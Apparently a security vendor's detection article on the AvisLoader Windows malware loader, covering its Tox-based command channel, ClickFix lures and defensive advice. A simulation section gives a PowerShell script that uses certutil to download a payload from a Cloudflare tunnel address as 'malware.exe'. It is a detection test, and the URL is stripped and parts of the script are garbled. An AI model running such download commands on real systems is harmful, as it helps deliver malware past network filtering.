AvisLoader is a newly identified Windows malware loader that uses the Tox peer-to-peer (P2P) messaging network for command-and-control (C2) communication. This decentralized approach lets operators maintain connectivity and relocate controllers without depending on fixed domains or centralized servers. The malware is commonly distributed through ClickFix social engineering lures hosted on Cloudflare infrastructure.
Varonis Threat Labs uncovered the loader on an exposed staging server together with its command center and related tooling. The investigation identified a DocuSign-themed ClickFix lure that instructs users to run commands that retrieve payloads through Cloudflare Quick Tunnels. Analysis of the executable found Tox-based C2 communication, UAC bypass functionality, and modules designed to hide malicious processes.
Organizations should train users to recognize and report document-signing prompts that ask them to paste commands into terminals or the Windows Run dialog. Security teams should monitor suspicious use of Cloudflare Workers and Quick Tunnels in web-based lures. Detecting unexpected peer-to-peer (P2P) network traffic and unauthorized changes to desktop shortcuts can also help reduce risk.
When AvisLoader activity is detected, security teams should review the process lineage of command shells and script interpreters launched after visits to suspicious domains. Inspect endpoints for modified shortcuts, .backup files, and the VLCAssistant artifact. Network telemetry should also be reviewed for unusual Tox protocol traffic originating from affected hosts.
Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
Attack Narrative & Commands: An adversary has gained initial access to a workstation. To maintain persistence and download their secondary modular payload, they utilize a Cloudflare Quick Tunnel to bypass egress filtering. The attacker uses certutil.exe , a built-in Windows utility, to download the payload from . This method is chosen because certutil is a trusted binary and the traffic appears to be heading to a legitimate Cloudflare infrastructure, making it less likely to be flagged by basic network reputation filters.
Attack Narrative & Commands: An adversary has gained initial access to a workstation. To maintain persistence and download their secondary modular payload, they utilize a Cloudflare Quick Tunnel to bypass egress filtering. The attacker uses certutil.exe , a built-in Windows utility, to download the payload from . This method is chosen because certutil is a trusted binary and the traffic appears to be heading to a legitimate Cloudflare infrastructure, making it less likely to be flagged by basic network reputation filters.
Regression Test Script: # Simulation script to trigger the detection rule. # This uses certutil to attempt a download from a trycloudflare.com address. $targetUrl = " Write-Host "[*] Simulating adversary activity: Downloading from $targetUrl via certutil..." # The following command is designed to trigger the 'selection_tunnel' AND 'selection_tools' conditions. certutil.exe -urlcache -split -f "$targetUrl" "$env:TEMPmalware.exe" if ($LASTEXITCODE -eq 0) { Write-Host "[+] Simulation command executed successfully." } else { Write-Host "[-] Command failed (Expected if the URL is non-existent, but telemetry should still be generated)." }
Regression Test Script:
Cleanup Commands: # Cleanup script to remove the simulated payload and local artifacts. $tempFile = "$env:TEMPmalware.exe" if (Test-Path $tempFile) { Remove-Item -Path $tempFile -Force Write-Host "[+] Cleaned up $tempFile" } else { Write-Host "[-] No artifact found to clean up." }
Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
